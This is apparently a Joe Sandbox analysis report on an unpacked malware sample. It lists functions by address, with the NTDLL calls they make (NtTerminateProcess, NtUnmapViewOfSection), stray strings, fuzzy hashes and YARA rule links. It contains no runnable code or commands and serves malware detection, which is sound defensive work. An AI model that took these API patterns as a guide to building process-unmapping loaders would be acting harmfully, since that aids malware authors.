Opcode Fuzzy Hash: f4a2de9de3bf7ec362a23435083dba7f469001c082a4f32374bc4f6b86d7ab38
Instruction Fuzzy Hash: 22E012B51001647FD710975AEC0DDE77F7EDBC67B5B08856AB41993110C260AD90C6F1

Function 0054A2C4 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 11nativeCOMMON

Download Yara Rule

APIs

NtTerminateProcess.NTDLL(?,00000000), ref: 0054A2D9

Strings

P-v, xrefs: 0054A2D9

Memory Dump Source

Source File: 00000000.00000002.2186875791.00000000004F1000.00000040.00000001.01000000.00000003.sdmp, Offset: 004A0000, based on PE: true

Associated: 00000000.00000002.2186859047.00000000004A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2186875791.00000000004A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2186875791.00000000004E0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2186875791.0000000000636000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2186875791.000000000063B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2186875791.0000000000656000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4a0000_hthjjadrthad.jbxd

Similarity

API ID: ProcessTerminate
String ID: P-v
API String ID: 560597551-739159646
Opcode ID: 5ec127a1f1813a5ae576f92a26ef377b4d9268d90de6562ab0d34abd4ee708d6
Instruction ID: 15e9e953683781630baa173057fb9af6bfd7b8aeb62ba252752ed86e974d3df7
Opcode Fuzzy Hash: 5ec127a1f1813a5ae576f92a26ef377b4d9268d90de6562ab0d34abd4ee708d6
Instruction Fuzzy Hash: 37C048E8945180BAEF4597A89E0CBF629AE97C171AF08E08970A8C10A2CA684840E621

Function 0054A53C Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 11nativeCOMMON

Download Yara Rule

APIs

NtUnmapViewOfSection.NTDLL(00000000), ref: 0054A551

Strings

0-v, xrefs: 0054A551

Memory Dump Source

Source File: 00000000.00000002.2186875791.00000000004F1000.00000040.00000001.01000000.00000003.sdmp, Offset: 004A0000, based on PE: true

Associated: 00000000.00000002.2186859047.00000000004A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2186875791.00000000004A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2186875791.00000000004E0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2186875791.0000000000636000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2186875791.000000000063B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2186875791.0000000000656000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4a0000_hthjjadrthad.jbxd

Similarity

API ID: SectionUnmapView
String ID: 0-v
API String ID: 498011366-620404996
Opcode ID: 2594be9596668fbc8af490f36bc16465c99bf3d023f7394c036f9edc76965a05
Instruction ID: fe8aaed31194a4dca90a1d55d1b777f7940375d7aee0bfd53649033ba93fb40b
Opcode Fuzzy Hash: 2594be9596668fbc8af490f36bc16465c99bf3d023f7394c036f9edc76965a05
Instruction Fuzzy Hash: FBC04CE490014039EF42976DDD1DBF6295F97C0B05F0894497010C1465C664DA449221

Function 004A4C10 Relevance: 3.3, Strings: 2, Instructions: 805COMMON

Download Yara Rule

Strings

8, xrefs: 004A5542
0, xrefs: 004A554A

Memory Dump Source

Source File: 00000000.00000002.2186875791.00000000004A1000.00000040.00000001.01000000.00000003.sdmp, Offset: 004A0000, based on PE: true

Associated: 00000000.00000002.2186859047.00000000004A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2186875791.00000000004E0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2186875791.00000000004F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2186875791.0000000000636000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2186875791.000000000063B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2186875791.0000000000656000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4a0000_hthjjadrthad.jbxd

Similarity

API ID:
String ID: 0$8
API String ID: 0-46163386
Opcode ID: a5a0cd63f037fb1e5a6c926a8a4a1456379377948aeb62b5adee86a156fdde37
Instruction ID: 5b6f8b9ce6a6f3932f041dcb7e951eae5dddfccd5df26c02daa850d361891c00
Opcode Fuzzy Hash: a5a0cd63f037fb1e5a6c926a8a4a1456379377948aeb62b5adee86a156fdde37
Instruction Fuzzy Hash: C87245715083409FD710CF18C980BAFBBE1ABE9314F04891EF9998B392D779D948CB96

Function 004D82A0 Relevance: 3.2, Strings: 2, Instructions: 702COMMON

Download Yara Rule

Strings

6543, xrefs: 004D84D5
6543, xrefs: 004D82DF

Memory Dump Source

Source File: 00000000.00000002.2186875791.00000000004A1000.00000040.00000001.01000000.00000003.sdmp, Offset: 004A0000, based on PE: true

Associated: 00000000.00000002.2186859047.00000000004A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2186875791.00000000004E0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2186875791.00000000004F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2186875791.0000000000636000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2186875791.000000000063B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2186875791.0000000000656000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4a0000_hthjjadrthad.jbxd

Similarity

API ID: InitializeThunk
String ID: 6543$6543
API String ID: 2994545307-1872142222
Opcode ID: ac8aed0eb39899190dc03bd67a9982fff58f3ba745e4fb19a80c7f49327aba69
Instruction ID: 692b5d2be94d77d7be9664414264c9be4d4514d35f58add353017eb4f8c0df2a
Opcode Fuzzy Hash: ac8aed0eb39899190dc03bd67a9982fff58f3ba745e4fb19a80c7f49327aba69
Instruction Fuzzy Hash: 572214756083518FC314CF28C8A173BB7E1BBC8314F198A6FE9959B391DA78DC058B96

Function 00602C38 Relevance: 3.1, Strings: 2, Instructions: 620COMMON

Download Yara Rule

Strings

(_, xrefs: 00603212
ers, ApplicationData FOLDER%, xrefs: 00602E6A, 006033E5

Memory Dump Source

Source File: 00000000.00000002.2186875791.00000000004F1000.00000040.00000001.01000000.00000003.sdmp, Offset: 004A0000, based on PE: true

Associated: 00000000.00000002.2186859047.00000000004A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2186875791.00000000004A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2186875791.00000000004E0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2186875791.0000000000636000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2186875791.000000000063B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2186875791.0000000000656000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4a0000_hthjjadrthad.jbxd

Similarity

API ID:
String ID: (_$ers, ApplicationData FOLDER%
API String ID: 0-586968037
Opcode ID: ec4d9cf89645b8360614eafae261a79b0dece788024fdc7120d3bd5cc86345e8
Instruction ID: 6e7f6d274f395404ec8ded8851fe28c5ceafb5e74915b2799bf3860dd8a33709
Opcode Fuzzy Hash: ec4d9cf89645b8360614eafae261a79b0dece788024fdc7120d3bd5cc86345e8
Instruction Fuzzy Hash: B4426C31E441598FDB18CFA8C895BEEBBF6FF49300F1481A9E455EB396C634A942CB14

Function 004B5180 Relevance: 3.0, Strings: 2, Instructions: 466COMMON

Download Yara Rule

Strings

DWK, xrefs: 004B5720, 004B573E
6543, xrefs: 004B54C4

Memory Dump Source

Source File: 00000000.00000002.2186875791.00000000004A1000.00000040.00000001.01000000.00000003.sdmp, Offset: 004A0000, based on PE: true

Associated: 00000000.00000002.2186859047.00000000004A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2186875791.00000000004E0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2186875791.00000000004F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2186875791.0000000000636000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2186875791.000000000063B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2186875791.0000000000656000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4a0000_hthjjadrthad.jbxd

Similarity

API ID:
String ID: 6543$DWK
API String ID: 0-3917923957
Opcode ID: 6aeea75390db143113d2fd3e1cde0270938b9c5439369221f11591030320ee0b
Instruction ID: 5956abec0eaf21a21904634c13831e4ad2b56bf3824462ab584bc1d850d4216e
Opcode Fuzzy Hash: 6aeea75390db143113d2fd3e1cde0270938b9c5439369221f11591030320ee0b
Instruction Fuzzy Hash: 5DD1D275908350DBD7309F24D8817ABB7A4FF96314F54062EE9C94B3A2E7385841CBAB

Function 005C8A04 Relevance: 2.9, Strings: 2, Instructions: 390COMMON

Download Yara Rule

Strings

0, xrefs: 005C8B7B
ZwQuerySection, Unsupported class %d, xrefs: 005C8EDF

Memory Dump Source

Source File: 00000000.00000002.2186875791.00000000004F1000.00000040.00000001.01000000.00000003.sdmp, Offset: 004A0000, based on PE: true

Associated: 00000000.00000002.2186859047.00000000004A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2186875791.00000000004A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2186875791.00000000004E0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2186875791.0000000000636000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2186875791.000000000063B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2186875791.0000000000656000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4a0000_hthjjadrthad.jbxd

Similarity

API ID:
String ID: 0$ZwQuerySection, Unsupported class %d
API String ID: 0-2380292483
Opcode ID: 07483b0bfdc05c767efac083ca4ffe45367e4f96568697faced60f12cd0efd6e
Instruction ID: 61bdc9b7f20740b9d2a2171c722bdd3dffe97a7d37616615472c22d2ff1c55c7
Opcode Fuzzy Hash: 07483b0bfdc05c767efac083ca4ffe45367e4f96568697faced60f12cd0efd6e
Instruction Fuzzy Hash: BAF10874A0020A9FDB04DFA9C984FAEBBF5FF89304F2584A9E8149B351DB34AD45CB54

Function 004C5AD0 Relevance: 2.9, Strings: 2, Instructions: 362COMMON

Download Yara Rule

Strings

6543, xrefs: 004C637B
o`, xrefs: 004C5D97

Memory Dump Source

Source File: 00000000.00000002.2186875791.00000000004A1000.00000040.00000001.01000000.00000003.sdmp, Offset: 004A0000, based on PE: true

Associated: 00000000.00000002.2186859047.00000000004A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2186875791.00000000004E0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2186875791.00000000004F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2186875791.0000000000636000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2186875791.000000000063B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2186875791.0000000000656000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4a0000_hthjjadrthad.jbxd

Similarity

API ID:
String ID: 6543$o`
API String ID: 0-616851469
Opcode ID: 92e814f82fb30270220b3eefcd578971ee30f0c1ad99650e453868ea89c967ec
Instruction ID: 98017f7854edf917fd0755e46fbd1ea44bd9889e654d8a74df9da14f4a93e27c
Opcode Fuzzy Hash: 92e814f82fb30270220b3eefcd578971ee30f0c1ad99650e453868ea89c967ec
Instruction Fuzzy Hash: C3C134B56083809FD3608F14D881B5BB7E4FB88704F05492EF9889B352D779DD02CB9A

Function 004C5D06 Relevance: 2.8, Strings: 2, Instructions: 346COMMON

Download Yara Rule

Strings

6543, xrefs: 004C637B
o`, xrefs: 004C5D97

Memory Dump Source

Source File: 00000000.00000002.2186875791.00000000004A1000.00000040.00000001.01000000.00000003.sdmp, Offset: 004A0000, based on PE: true

Associated: 00000000.00000002.2186859047.00000000004A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2186875791.00000000004E0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2186875791.00000000004F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2186875791.0000000000636000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2186875791.000000000063B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2186875791.0000000000656000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4a0000_hthjjadrthad.jbxd

Similarity

API ID:
String ID: 6543$o`
API String ID: 0-616851469
Opcode ID: 6b79afd5f1d2fa0b271afa24d226640ff26c1d0839f434125fd5fca5901495f5
Instruction ID: 7d4d3b3a95225bf5b759d4da3eb36a531ee88b4b07d86070c2fa342439067821
Opcode Fuzzy Hash: 6b79afd5f1d2fa0b271afa24d226640ff26c1d0839f434125fd5fca5901495f5
Instruction Fuzzy Hash: CCB134B56083809FD3608F14D890B5BBBE4FB88704F05496EF5889B392D778DD02CB9A

Function 004A42E0 Relevance: 2.8, Strings: 2, Instructions: 329COMMON

Download Yara Rule

Strings

), xrefs: 004A435B
IEND, xrefs: 004A46D1

Memory Dump Source

Source File: 00000000.00000002.2186875791.00000000004A1000.00000040.00000001.01000000.00000003.sdmp, Offset: 004A0000, based on PE: true

Associated: 00000000.00000002.2186859047.00000000004A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2186875791.00000000004E0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2186875791.00000000004F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2186875791.0000000000636000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2186875791.000000000063B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2186875791.0000000000656000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4a0000_hthjjadrthad.jbxd

Similarity

API ID:
String ID: )$IEND
API String ID: 0-707183367
Opcode ID: 08700fc363699cfede86a83f142bac00de1bbd2d59ef01c010cd5659f5d4bffd
Instruction ID: 40d13bea115666cb881eac9a4ac7447380edb55efa2d89acb580266553092a16
Opcode Fuzzy Hash: 08700fc363699cfede86a83f142bac00de1bbd2d59ef01c010cd5659f5d4bffd
Instruction Fuzzy Hash: 8ED1C4B15083449FD720CF14D84175FBBE4ABE6308F14452EF9999B381D3B9E908CB96

Function 004DBE00 Relevance: 2.8, Strings: 2, Instructions: 306COMMON

Download Yara Rule

Strings

utsr, xrefs: 004DBF03
utsr, xrefs: 004DBF73

Memory Dump Source

Source File: 00000000.00000002.2186875791.00000000004A1000.00000040.00000001.01000000.00000003.sdmp, Offset: 004A0000, based on PE: true

Associated: 00000000.00000002.2186859047.00000000004A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2186875791.00000000004E0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2186875791.00000000004F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2186875791.0000000000636000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2186875791.000000000063B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2186875791.0000000000656000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4a0000_hthjjadrthad.jbxd

Similarity

API ID: InitializeThunk
String ID: utsr$utsr
API String ID: 2994545307-1846298849
Opcode ID: c27b2fb5187e84e2c02fdd4f895908b0425c371d28edfa4398ea046133a93ee9
Instruction ID: 97f59c944a63f91449d2d911f82696c780a9804ac8ddb16cb62ee05af95065c1
Opcode Fuzzy Hash: c27b2fb5187e84e2c02fdd4f895908b0425c371d28edfa4398ea046133a93ee9
Instruction Fuzzy Hash: 5891C0343083068BCB15CF28C8E0A6BB7E2EF99310F15896EE6858B366D735DC41CB45

Function 005CBA18 Relevance: 2.8, Strings: 2, Instructions: 304COMMON

Download Yara Rule

Strings

ZwQueryValueKey, unsupported class %d, xrefs: 005CBD68
#, xrefs: 005CBC96

Memory Dump Source

Source File: 00000000.00000002.2186875791.00000000004F1000.00000040.00000001.01000000.00000003.sdmp, Offset: 004A0000, based on PE: true

Associated: 00000000.00000002.2186859047.00000000004A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2186875791.00000000004A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2186875791.00000000004E0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2186875791.0000000000636000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2186875791.000000000063B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2186875791.0000000000656000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4a0000_hthjjadrthad.jbxd

Similarity

API ID:
String ID: #$ZwQueryValueKey, unsupported class %d
API String ID: 0-453009116
Opcode ID: 8bcf6345f789aeb150ae1448facc20644bfa3b2d653e150179555a13c1e352a3
Instruction ID: 651a814fe73936487248982fb22a634ac46493362312735d77910d953f914412
Opcode Fuzzy Hash: 8bcf6345f789aeb150ae1448facc20644bfa3b2d653e150179555a13c1e352a3
Instruction Fuzzy Hash: 72B1A974E00109AFEB40EFA9C986BAEB7F5FF84304F14C569A814DB315DB74AD418B94

Function 004C29F0 Relevance: 2.7, Strings: 2, Instructions: 184COMMON

Download Yara Rule

Strings

)L, xrefs: 004C29D2
`a, xrefs: 004C2A4B

Memory Dump Source

Source File: 00000000.00000002.2186875791.00000000004A1000.00000040.00000001.01000000.00000003.sdmp, Offset: 004A0000, based on PE: true

Associated: 00000000.00000002.2186859047.00000000004A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2186875791.00000000004E0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2186875791.00000000004F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2186875791.0000000000636000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2186875791.000000000063B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2186875791.0000000000656000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4a0000_hthjjadrthad.jbxd

Similarity

API ID:
String ID: `a$)L
API String ID: 0-487231090
Opcode ID: 34ed027b00535ab4bdc4c578cb658ec36d3f29642e444b82d63c8c74add173e0
Instruction ID: 42607f26f6e49f81e40f60c4cace55409c4626489e923924db4844fb4a0febb0
Opcode Fuzzy Hash: 34ed027b00535ab4bdc4c578cb658ec36d3f29642e444b82d63c8c74add173e0
Instruction Fuzzy Hash: 3E5133B16083448FE7208F69DC41BDFB7E4EB85314F00897EEA599B282C7749902CB95

Function 004BAD34 Relevance: 2.6, Strings: 2, Instructions: 148COMMON

Download Yara Rule

Strings

51, xrefs: 004BAD73
:1, xrefs: 004BAD9F

Memory Dump Source

Source File: 00000000.00000002.2186875791.00000000004A1000.00000040.00000001.01000000.00000003.sdmp, Offset: 004A0000, based on PE: true

Associated: 00000000.00000002.2186859047.00000000004A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2186875791.00000000004E0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2186875791.00000000004F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2186875791.0000000000636000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2186875791.000000000063B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2186875791.0000000000656000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4a0000_hthjjadrthad.jbxd

Similarity

API ID:
String ID: 51$:1
API String ID: 0-2324146136
Opcode ID: dfc4d36139e00638a432d13242af21fcc1bd9f5fc7b6bacb70bcc7c5a288ba65
Instruction ID: fe5bffc3f24eb8a950d177dfca3675ed3a69a1a403ce5ec0ffa24dccbd3b5fb0
Opcode Fuzzy Hash: dfc4d36139e00638a432d13242af21fcc1bd9f5fc7b6bacb70bcc7c5a288ba65
Instruction Fuzzy Hash: 5C4157719593804FD324CF25C88279BBBE2AFD1300F18896DF5C19B391CBB88801CB96

Function 004B6A4C Relevance: 2.6, Strings: 2, Instructions: 70COMMON

Download Yara Rule

Strings

6543, xrefs: 004B6A85
P<?, xrefs: 004B6AB0

Memory Dump Source

Source File: 00000000.00000002.2186875791.00000000004A1000.00000040.00000001.01000000.00000003.sdmp, Offset: 004A0000, based on PE: true

Associated: 00000000.00000002.2186859047.00000000004A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2186875791.00000000004E0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2186875791.00000000004F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2186875791.0000000000636000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2186875791.000000000063B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2186875791.0000000000656000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4a0000_hthjjadrthad.jbxd

Similarity

API ID: InitializeThunk
String ID: 6543$P<?
API String ID: 2994545307-2846091771
Opcode ID: 4959d1a233b195a680edc91422cf8d19b956c8649a12d134e5296c1b370fec12
Instruction ID: abe0b75979f2218d0b27e5421e52b274380c6bc4d5284140949b417d5a788bb6
Opcode Fuzzy Hash: 4959d1a233b195a680edc91422cf8d19b956c8649a12d134e5296c1b370fec12
Instruction Fuzzy Hash: 1901F934A1C3409BDB60CF14D8C1B6BB7A5B7CA310F14957DE585F7252C7389801CB2A

Function 004C4FB0 Relevance: 2.6, Strings: 2, Instructions: 62COMMON

Download Yara Rule

Strings

rPL, xrefs: 004C5069
fVL, xrefs: 004C5079

Memory Dump Source

Source File: 00000000.00000002.2186875791.00000000004A1000.00000040.00000001.01000000.00000003.sdmp, Offset: 004A0000, based on PE: true

Associated: 00000000.00000002.2186859047.00000000004A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2186875791.00000000004E0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2186875791.00000000004F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2186875791.0000000000636000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2186875791.000000000063B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2186875791.0000000000656000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4a0000_hthjjadrthad.jbxd

Similarity

API ID:
String ID: fVL$rPL
API String ID: 0-2401905851
Opcode ID: 9ff0de8c61d83aabf0372f15c9e0d0b0db3ac8e6c6cc0234446f6e085e1fb675
Instruction ID: 003f8070587b797c9c14f19d67a0c3edad99f5ee671c8a30813e76b159eed119
Opcode Fuzzy Hash: 9ff0de8c61d83aabf0372f15c9e0d0b0db3ac8e6c6cc0234446f6e085e1fb675
Instruction Fuzzy Hash: 121121B19083508FD3108F25D49066BFBA4EBC6358F40562DE9C46B351D7B8C8458B9A

Function 00564C0C Relevance: 2.2, Strings: 1, Instructions: 905COMMON

Download Yara Rule

Strings

, xrefs: 00565617

Memory Dump Source

Source File: 00000000.00000002.2186875791.00000000004F1000.00000040.00000001.01000000.00000003.sdmp, Offset: 004A0000, based on PE: true

Associated: 00000000.00000002.2186859047.00000000004A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2186875791.00000000004A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2186875791.00000000004E0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2186875791.0000000000636000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2186875791.000000000063B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2186875791.0000000000656000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4a0000_hthjjadrthad.jbxd

Similarity

API ID:
String ID:
API String ID: 0-3916222277
Opcode ID: 84f54903bc616126887388c1aaa30aea33683cf8a36a79649fb0dd54a0c46d36
Instruction ID: f4f4a8cfa2de573f915c4d51ec38d42e6d12aae574a6474d873b0a85e2c2a96b
Opcode Fuzzy Hash: 84f54903bc616126887388c1aaa30aea33683cf8a36a79649fb0dd54a0c46d36
Instruction Fuzzy Hash: F4821534A40609DFCB14DFA8C589AADBBF1FF48310F2485A5E8459B366EB70EE41DB50

Function 004B4550 Relevance: 2.0, Strings: 1, Instructions: 717COMMON

Download Yara Rule

Strings

6543, xrefs: 004B50E5

Memory Dump Source

Source File: 00000000.00000002.2186875791.00000000004A1000.00000040.00000001.01000000.00000003.sdmp, Offset: 004A0000, based on PE: true

Associated: 00000000.00000002.2186859047.00000000004A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2186875791.00000000004E0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2186875791.00000000004F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2186875791.0000000000636000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2186875791.000000000063B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2186875791.0000000000656000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4a0000_hthjjadrthad.jbxd

Similarity

API ID:
String ID: 6543
API String ID: 0-3529428475
Opcode ID: c5ad93ceebd17101ff39a8edc8576192eafad0ba0d4ec8c3fd90737deb46d23e
Instruction ID: 2a77b4ff09cf282731bd3f55721abcca32e86f127e6c6bb9973b993129359a6d
Opcode Fuzzy Hash: c5ad93ceebd17101ff39a8edc8576192eafad0ba0d4ec8c3fd90737deb46d23e
Instruction Fuzzy Hash: 99127975508340CBD7209F24EC927BB73A1FF85314F08893DE8858B3A2E7799955C7AA

Function 005F713C Relevance: 1.9, Strings: 1, Instructions: 681COMMON

Download Yara Rule

Strings

tg_, xrefs: 005F7186

Memory Dump Source

Source File: 00000000.00000002.2186875791.00000000004F1000.00000040.00000001.01000000.00000003.sdmp, Offset: 004A0000, based on PE: true

Associated: 00000000.00000002.2186859047.00000000004A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2186875791.00000000004A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2186875791.00000000004E0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2186875791.0000000000636000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2186875791.000000000063B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2186875791.0000000000656000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4a0000_hthjjadrthad.jbxd

Similarity

API ID:
String ID: tg_
API String ID: 0-2110892187
Opcode ID: 40ee778c6922f0e489e3ecc8bf960af46e8492262ef691dd672e5ebacb9a6471
Instruction ID: db7ffd847059dd80e81f53856d1d8be32d5a7cad7aa6729ba3519c2d63a9df6f
Opcode Fuzzy Hash: 40ee778c6922f0e489e3ecc8bf960af46e8492262ef691dd672e5ebacb9a6471
Instruction Fuzzy Hash: 7F523834208609CFDB29DF18C5C4A667FA2FB49310F1486A9DD568F38BC738E856CB61

Function 005CFEB0 Relevance: 1.8, Strings: 1, Instructions: 518COMMON

Download Yara Rule

Strings

MZP, xrefs: 005CFF79

Memory Dump Source

Source File: 00000000.00000002.2186875791.00000000004F1000.00000040.00000001.01000000.00000003.sdmp, Offset: 004A0000, based on PE: true

Associated: 00000000.00000002.2186859047.00000000004A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2186875791.00000000004A1000.00000040.00000001.01000000.00000003.sdmpDownload File
